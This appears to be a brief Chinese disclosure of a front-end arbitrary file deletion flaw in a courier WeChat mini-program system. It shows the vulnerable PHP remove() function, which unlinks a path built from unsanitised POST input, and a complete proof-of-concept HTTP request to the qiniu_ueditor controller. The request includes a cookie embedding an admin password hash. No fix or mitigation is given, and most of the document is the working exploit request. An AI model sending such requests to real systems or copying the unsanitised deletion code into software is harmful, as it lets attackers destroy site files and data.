(1day)某最新版快递微信小程序系统存在前台任意文件删除漏洞

/*** 删除文件方法* * @author widuu <admin@widuu.com>*/public function remove(){  $file = trim($_POST['key']);  $config    = $this->config;  $root_path = $config['root_path'];  $file_path = $root_path.$file;  if( file_exists($file_path) ){    $result = @unlink($file_path);    if( $result ){      return array(        'state' => 'SUCCESS'      );    }else{      return array(        'state' => 'ERROR',        'error' => 'delete file error'      );    }  }  return array(    'state' => 'ERROR',    'error' => 'file not exists'  );}

POST /public/qiniu_ueditor/php/controller.php?action=remove HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, br, zstdAccept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7Cache-Control: max-age=0Connection: keep-aliveContent-Length: 13Content-Type: application/x-www-form-urlencodedCookie: think_var=zh-cn; PHPSESSID=5cg6kramfusrb94homfj2q7ku1; thinkphp_show_page_trace=0|0; admin=think%3A%7B%22admin_id%22%3A%221%22%2C%22type%22%3A%221%22%2C%22user_id%22%3A%221%22%2C%22username%22%3A%22admin%22%2C%22password%22%3A%2221232f297a57a5a743894a0e4a801fc3%22%2C%22role_id%22%3A%221%22%2C%22city_id%22%3A0%2C%22area_id%22%3A0%2C%22business_id%22%3A0%2C%22mobile%22%3A%2218888888888%22%2C%22lock_admin_mum%22%3A0%2C%22is_lock%22%3A%221%22%2C%22is_admin_lock%22%3A0%2C%22is_admin_lock_time%22%3A0%2C%22create_time%22%3A%221497679379%22%2C%22create_ip%22%3A%2227.13.26.84%22%2C%22last_time%22%3A%221603174799%22%2C%22last_ip%22%3A%2249.118.246.1%22%2C%22is_ip%22%3A0%2C%22is_username_lock%22%3A0%2C%22closed%22%3A0%2C%22role_name%22%3A%22%25E5%2585%25AC%25E5%258F%25B8%25E6%2580%25BB%25E9%2583%25A8%22%7DHost: 127.0.0.1Origin: http://127.0.0.1Referer: http://127.0.0.1/public/qiniu_ueditor/php/controller.php?action=removeSec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: noneUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="130", "Google Chrome";v="130", "Not?A_Brand";v="99"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"sec-fetch-user: ?1key=./1.png